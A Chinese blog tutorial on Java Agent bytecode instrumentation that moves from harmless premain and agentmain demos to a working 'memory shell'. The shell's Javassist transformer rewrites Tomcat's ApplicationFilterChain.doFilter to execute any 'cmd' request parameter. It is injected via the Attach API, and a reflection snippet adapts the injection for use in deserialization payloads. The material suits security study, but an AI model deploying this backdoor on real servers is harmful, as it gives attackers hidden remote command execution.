什么是Java Agent

我们知道Java是一种强类型语言,在运行之前必须将其编译成.class字节码,然后再交给JVM处理运行。Java Agent就是一种能在不影响正常编译的前提下,修改Java字节码,进而动态地修改已加载或未加载的类、属性和方法的技术。实际上,平时较为常见的技术如热部署、一些诊断工具等都是基于Java Agent技术来实现的。那么Java Agent技术具体是怎样实现的呢?对于Agent(代理)来讲,其大致可以分为两种,一种是在JVM启动前加载的premain-Agent,另一种是JVM启动之后加载的agentmain-Agent。这里我们可以将其理解成一种特殊的Interceptor(拦截器),如下图

premain-Agent



agentmain-Agent

Premain-Agent

准备一个premain_agent:

package org.example;

import java.lang.instrument.Instrumentation;

public class Java_Agent_Premain {
public static void premain(String args, Instrumentation inst){
for(int i=0;i<10;i++){
System.out.println("调用了premain_agent");
}
}
}

准备一个目标进程文件:

package org.example;

public class Hello {
public static void main(String[] args) {
System.out.println("Hello World!");
}
}

之后将Java_Agent_Premain类打包成Jar包,这里有些讲究,创建一个resources/META-INF/MANIFEST.MF文件,文件内容为:

Manifest-Version: 1.0
Premain-Class: org.example.Java_Agent_Premain

之后修改一下pom.xml文件

<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<version>2.6</version>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifestFile>
src/main/resources/META-INF/MANIFEST.MF
</manifestFile>
</archive>
</configuration>
</plugin>
</plugins>
</build>

然后使用Maven的assembly:assembly进行打包,这样会识别MANIFEST.MF文件

打包之后生成两个Jar包,我们使用第二个



最后修改一下Hello类的运行配置,添加一个VM-OPTIONS,在Modify options里选中add Vm-options



运行Hello类,成功注入到Hello的前面

Agentmain-Agent

premain-agent只能在类加载前去插入,而agentmain可以在已经运行的jvm去插入方法

VirtualMachine

com.sun.tools.attach.VirtualMachine类可以实现获取JVM信息,内存dump、现成dump、类信息统计(例如JVM加载的类)等功能。该类允许我们通过给attach方法传入一个JVM的PID,来远程连接到该JVM上 ,之后我们就可以对连接的JVM进行各种操作,如注入Agent,下面是该类的主要方法

//允许我们传入一个JVM的PID,然后远程连接到该JVM上
VirtualMachine.attach() //向JVM注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理
VirtualMachine.loadAgent() //获得当前所有的JVM列表
VirtualMachine.list() //解除与特定JVM的连接
VirtualMachine.detach()

VirtualMachineDescriptor

com.sun.tools.attach.VirtualMachineDescriptor类是一个用来描述特定虚拟机的类,其方法可以获取虚拟机的各种信息如PID、虚拟机名称等。下面是一个获取特定虚拟机PID的示例

package org.example;

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List; public class get_PID {
public static void main(String[] args) {
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd:list){
if(vmd.displayName().equals("get_PID")){
System.out.println(vmd.id());
}
}
}
}

首先我们编写一个Sleep_Hello类,模拟正在运行的JVM

package org.example;

import static java.lang.Thread.sleep;

public class Sleep_Hello {
public static void main(String[] args) throws InterruptedException {
while (true){
System.out.println("Hello World");
sleep(5000);
}
}
}

编写一个agentmain-agent,跟上面操作一样打包成jar包

package org.example;

import java.lang.instrument.Instrumentation;

import static java.lang.Thread.sleep;

public class Agent_Main {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException {
while (true){
System.out.println("调用了agentmain-agent");
sleep(3000);
}
}
}

MF文件内容为

Manifest-Version: 1.0
Agent-Class: org.example.Agent_Main

最后准备一个Inject类,将agentmain-agent注入到JVM中

package org.example;

import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List; public class Inject_Agent {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
// 获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
// 遍历JVM
for(VirtualMachineDescriptor vmd:list){
// 获取目标JVM
if(vmd.displayName().equals("org.example.Sleep_Hello")){
// 连接目标JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
// 加载Agent
virtualMachine.loadAgent("D:\\Java安全学习\\Agent\\target\\Agent-1.0-SNAPSHOT-jar-with-dependencies.jar");
// 断开连接
virtualMachine.detach();
}
}
}
}

先跑Sleep_Hello类当作JVM,再跑Inject_Agent类注入

Agentmain-Instrumentation

Instrumentation是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent通过这个类和目标 JVM 进行交互,从而达到修改数据的效果。像我们之前的注入类都是这样写的



其在Java中是一个接口,常用方法如下

public interface Instrumentation {

    //增加一个Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。
void addTransformer(ClassFileTransformer transformer, boolean canRetransform); //在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
void addTransformer(ClassFileTransformer transformer); //删除一个类转换器
boolean removeTransformer(ClassFileTransformer transformer); //在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException; //判断一个类是否被修改
boolean isModifiableClass(Class<?> theClass); // 获取目标已经加载的类。
@SuppressWarnings("rawtypes")
Class[] getAllLoadedClasses(); //获取一个对象的大小
long getObjectSize(Object objectToSize); }

获取目标JVM已加载类

下面我们简单实现一个能够获取目标JVM已加载类

package org.example;

import java.lang.instrument.Instrumentation;

public class Agentmain_Instrument {
public static void agentmain(String args, Instrumentation inst) {
Class [] classes = inst.getAllLoadedClasses();
for(Class cls:classes){
System.out.println("**********************************");
System.out.println("已加载类:"+cls.getName());
System.out.println("是否可修改:"+inst.isModifiableClass(cls));
}
}
}

步骤跟上面注入流程一样

addTransformer



增加一个Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在 Instrumentation 中增加了名叫 transformer 的 Class 文件转换器,转换器可以改变二进制流的数据,transformer 可以对未加载的类进行拦截,同时也可对已加载的类进行重新拦截,所以根据这个特性我们能够实现动态修改字节码。ClassFileTransformer是一个接口,该接口里只有一个方法,返回一个bytes数组:



也就是说我们注入的对象需要实现这个接口

  • 使用Instrumentation.addTransformer()来加载一个转换器。
  • 转换器的返回结果(transform()方法的返回值)将成为转换后的字节码。
  • 对于没有加载的类,会使用ClassLoader.defineClass()定义它;对于已经加载的类,会使用ClassLoader.redefineClasses()重新定义,并配合Instrumentation.retransformClasses进行转换。

其实简而言之,这个方法就是让我们可以动态的修改已经加载和没加载的类,达到动态修改字节码的目的

当存在多个转换器时,转换将由 transform 调用链组成。 也就是说,一个 transform 调用返回的 byte 数组将成为下一个调用的输入(通过 classfileBuffer 参数)。

转换将按以下顺序应用:

  • 不可重转换转换器
  • 不可重转换本机转换器
  • 可重转换转换器
  • 可重转换本机转换器

修改已加载类的字节码

修改已经加载的字节码主要是通过addTransformerretransformClasses这两个方法,一个是添加一个转换器,另外的是重新加载该类,也就是更新我们准备一个目标JVM:

package org.example;

import static java.lang.Thread.sleep;

public class Sleep_Hello {
public static void hello(){
System.out.println("Hello World");
}
public static void main(String[] args) throws InterruptedException {
while (true){
hello();
sleep(5000);
}
}
}

再准备我们的AgentMain,写好后记得把他打成Jar包

package org.example;

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException; public class agentmain_transform {
public static void agentmain(String args, Instrumentation inst) throws UnmodifiableClassException {
Class [] classes = inst.getAllLoadedClasses();
// 获取目标JVM加载的全部类
for(Class cls:classes){
if(cls.getName().equals("org.example.Sleep_Hello")){
// 添加一个transformer到Instrumentation,并重新触发目标类加载
inst.addTransformer(new Hello_transform(), true);
inst.retransformClasses(cls);
}
}
}
}

准备我们修改的类:

package org.example;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod; import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain; public class Hello_transform implements ClassFileTransformer { @Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try { //获取CtClass 对象的容器 ClassPool
ClassPool classPool = ClassPool.getDefault(); //添加额外的类搜索路径
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
} //获取目标类
CtClass ctClass = classPool.get("org.example.Sleep_Hello");
System.out.println(ctClass); //获取目标方法
CtMethod ctMethod = ctClass.getDeclaredMethod("hello"); //设置方法体
String body = "{System.out.println(\"Hacker!\");}";
ctMethod.setBody(body); //返回目标类字节码
byte[] bytes = ctClass.toBytecode();
return bytes; }catch (Exception e){
e.printStackTrace();
}
return null;
}
}

修改一下MF文件要不然会注入失败:

Manifest-Version: 1.0
Agent-Class: org.example.agentmain_transform
Can-Redefine-Classes: true
Can-Retransform-Classes: true

Instrumentation的局限性

大多数情况下,我们使用Instrumentation都是使用其字节码插桩的功能,简单来说就是类重定义功能(Class Redefine),但是有以下局限性:

premain和agentmain两种方式修改字节码的时机都是类文件加载之后,也就是说必须要带有Class类型的参数,不能通过字节码文件和自定义的类名重新定义一个本来不存在的类。

类的字节码修改称为类转换(Class Transform),类转换其实最终都回归到类重定义Instrumentation#redefineClasses方法,此方法有以下限制:

  1. 新类和老类的父类必须相同
  2. 新类和老类实现的接口数也要相同,并且是相同的接口
  3. 新类和老类访问符必须一致。 新类和老类字段数和字段名要一致
  4. 新类和老类新增或删除的方法必须是private static/final修饰的
  5. 可以修改方法体

Spring中的InternalDofilter链

简单写个controller,打个断点看调用栈



在调用栈中根据责任链机制,存在一个反复调用InternalDoFilter的链internalDoFilter->doFilter->service

我们只要动态修改internalDoFilter或者是doFilter,就可以注入Agent的内存马了,而且这两个方法中都有request和response,拿来回显在适合不过

利用Agent实现spring Filter内存马

重写下transform

package com.example.agentmemory.agents;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod; import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain; public class Filter_transform implements ClassFileTransformer { @Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try { //获取CtClass 对象的容器 ClassPool
ClassPool classPool = ClassPool.getDefault(); //添加额外的类搜索路径
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
} //获取目标类
CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");
System.out.println(ctClass); //获取目标方法
CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter"); //设置方法体
String body = "{" +
"javax.servlet.http.HttpServletRequest request = $1\n;" +
"String cmd=request.getParameter(\"cmd\");\n" +
"if (cmd !=null){\n" +
" Runtime.getRuntime().exec(cmd);\n" +
" }"+
"}";
ctMethod.setBody(body); //返回目标类字节码
byte[] bytes = ctClass.toBytecode();
return bytes; }catch (Exception e){
e.printStackTrace();
}
return null;
}
}

准备Agentmain

package com.example.agentmemory.agents;

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException; public class agentmain_transform {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {
Class [] classes = inst.getAllLoadedClasses(); //获取目标JVM加载的全部类
for(Class cls : classes){
if (cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain")){ //添加一个transformer到Instrumentation,并重新触发目标类加载
inst.addTransformer(new Filter_transform(),true);
inst.retransformClasses(cls);
}
}
}
}

MF文件

Manifest-Version: 1.0
Agent-Class: com.example.agentmemory.agents.agentmain_transform
Can-Redefine-Classes: true
Can-Retransform-Classes: true

最后准备Inject类

package com.example.agentmemory.agents;

import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List; public class Inject_Agent {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException {
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
System.out.println(vmd.displayName());
//遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent
if(vmd.displayName().equals("com.example.agentmemory.AgentMemoryApplication")){ //连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//加载Agent
virtualMachine.loadAgent("D:\\Java安全学习\\AgentMemory\\target\\AgentMemory-0.0.1-SNAPSHOT-jar-with-dependencies.jar");
//断开JVM连接
virtualMachine.detach();
} }
}
}

连打两次就注入成功了

结合反序列化

http://wjlshare.com/archives/1582

try{
java.lang.String path = "/Users/xxxxx/Desktop/java/AgentMain/target/AgentMain-1.0-SNAPSHOT-jar-with-dependencies.jar";
java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
java.net.URL url = toolsPath.toURI().toURL();
java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
Class/*<?>*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null);
java.util.List/*<Object>*/ list = (java.util.List/*<Object>*/) listMethod.invoke(MyVirtualMachine,null); System.out.println("Running JVM list ...");
for(int i=0;i<list.size();i++){
Object o = list.get(i);
java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null);
java.lang.String name = (java.lang.String) displayName.invoke(o,null);
// 列出当前有哪些 JVM 进程在运行
// 这里的 if 条件根据实际情况进行更改
if (name.contains("com.vuln.demo.DemoApplication")){
// 获取对应进程的 pid 号
java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null);
java.lang.String id = (java.lang.String) getId.invoke(o,null);
System.out.println("id >>> " + id);
java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
java.lang.Object vm = attach.invoke(o,new Object[]{id});
java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
loadAgent.invoke(vm,new Object[]{path});
java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null);
detach.invoke(vm,null);
System.out.println("Agent.jar Inject Success !!");
break;
}
}
} catch (Exception e){
e.printStackTrace();
}

Agent内存马分析的更多相关文章

  1. 议题解析与复现--《Java内存攻击技术漫谈》(二)无文件落地Agent型内存马

    无文件落地Agent型内存马植入 可行性分析 使用jsp写入或者代码执行漏洞,如反序列化等,不需要上传agent Java 动态调试技术原理及实践 - 美团技术团队 (meituan.com) 首先, ...

  2. 6. 站在巨人的肩膀学习Java Filter型内存马

    本文站在巨人的肩膀学习Java Filter型内存马,文章里面的链接以及图片引用于下面文章,参考文章: <Tomcat 内存马学习(一):Filter型> <tomcat无文件内存w ...

  3. Java安全之基于Tomcat的Filter型内存马

    Java安全之基于Tomcat的Filter型内存马 写在前面 现在来说,内存马已经是一种很常见的攻击手法了,基本红队项目中对于入口点都是选择打入内存马.而对于内存马的支持也是五花八门,甚至各大公司都 ...

  4. Java内存马的学习总结

    1.前置知识 Java Web三大组件 Servlet Servlet是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中 ...

  5. (转)java内存分配分析/栈内存、堆内存

    转自(http://blog.csdn.net/qh_java/article/details/9084091) java内存分配分析/栈内存.堆内存 java内存分配分析 本文将由浅入深详细介绍Ja ...

  6. 针对spring mvc的controller内存马-学习和实验

    1 基础 实际上java内存马的注入已经有很多方式了,这里在学习中动手研究并写了一款spring mvc应用的内存马.一般来说实现无文件落地的java内存马注入,通常是利用反序列化漏洞,所以动手写了一 ...

  7. Java安全之基于Tomcat实现内存马

    Java安全之基于Tomcat实现内存马 0x00 前言 在近年来红队行动中,基本上除了非必要情况,一般会选择打入内存马,然后再去连接.而落地Jsp文件也任意被设备给检测到,从而得到攻击路径,删除we ...

  8. Java安全之Weblogic内存马

    Java安全之Weblogic内存马 0x00 前言 发现网上大部分大部分weblogic工具都是基于RMI绑定实例回显,但这种方式有个弊端,在Weblogic JNDI树里面能将打入的RMI后门查看 ...

  9. tomcat内存马原理解析及实现

    内存马 简介 ​ Webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,其瞄准了企业的对外窗口:网站.应用.但传统的Webshell都是基于文件类型的,黑客 ...

  10. JavaAgent型内存马基础

    Java Instrumentation ​ java Instrumentation指的是可以用独立于应用程序之外的代理(agent)程序来监测和协助运行在JVM上的应用程序.这种监测和协助包括但不 ...

随机推荐

  1. 【Azure 应用服务】添加自定义域时,Domain ownership 验证无法通过 

    问题描述 在Azure App Service添加自定义域名时,遇见了Domain ownership 验证无法通过的问题? 问题解决 因为DNS中配置App Service默认域名和自定义域名的CN ...

  2. 【Azure 应用服务】App Service下部署的应用报错 Out of Memory

    问题描述 应用部署到App Service后,遇见了Out of Memory的错误. 报错信息:GetData  Error:, Exception of type 'System.OutOfMem ...

  3. C/C++、C#、JAVA(三):字符串操作

    C/C++.C#.JAVA(三):字符串操作 目录 C/C++.C#.JAVA(三):字符串操作 定义字符串 C C++ C# JAVA 捕捉输入和输出 等值比较 C/C++ C# JAVA 字符串操 ...

  4. vscode编译多个C/CPP文件

    修改vscode里面的tasks.json文件,下面是修改好的,参考 "args": [ "-fdiagnostics-color=always", " ...

  5. 开源.NET8.0小项目伪微服务框架(分布式、EFCore、Redis、RabbitMQ、Mysql等)

    1.前言 为什么说是伪微服务框架,常见微服务框架可能还包括服务容错.服务间的通信.服务追踪和监控.服务注册和发现等等,而我这里为了在使用中的更简单,将很多东西进行了简化或者省略了. 年前到现在在开发一 ...

  6. WPF开源的一款免费、开箱即用的翻译、OCR工具

    前言 今天大姚给大家分享一款由WPF开源的.免费的(MIT License).即开即用.即用即走的翻译.OCR工具:STranslate. WPF介绍 WPF 是一个强大的桌面应用程序框架,用于构建具 ...

  7. java项目-尚硅谷项目三员工调度系统

    导入工具类和数据 创建TeamSchedule项目,com.atguigu.team. view,com.atguigu.team.service,com.atguigu.team.domain包 , ...

  8. 使用Mockito与Squaretest进行单元测试.

    项目开发过程中,不少公司都要求写单元测试的代码,可以提高代码的质量,并且可以减少出现BUG的概率. 对于中小型公司来说,对单元测试不做硬性要求,不写最好.因为还是需要一定的工作量,在保证代码质量和性能 ...

  9. Java中枚举配合switch语句用法-2022新项目

    一.业务场景 项目开发中经常会遇到多条件判断的情况,如果判断条件少的话使用if/elseif/else还比较好处理,如果判断条件多的话,则在使用这种语句就不太合适. 如果是自定义的一些内容,比如不同的 ...

  10. 定时器之PWM

    void PWM_Init(void) { RCC_APB1PeriphClockCmd(RCC_APB1Periph_TIM2, ENABLE); RCC_APB2PeriphClockCmd(RC ...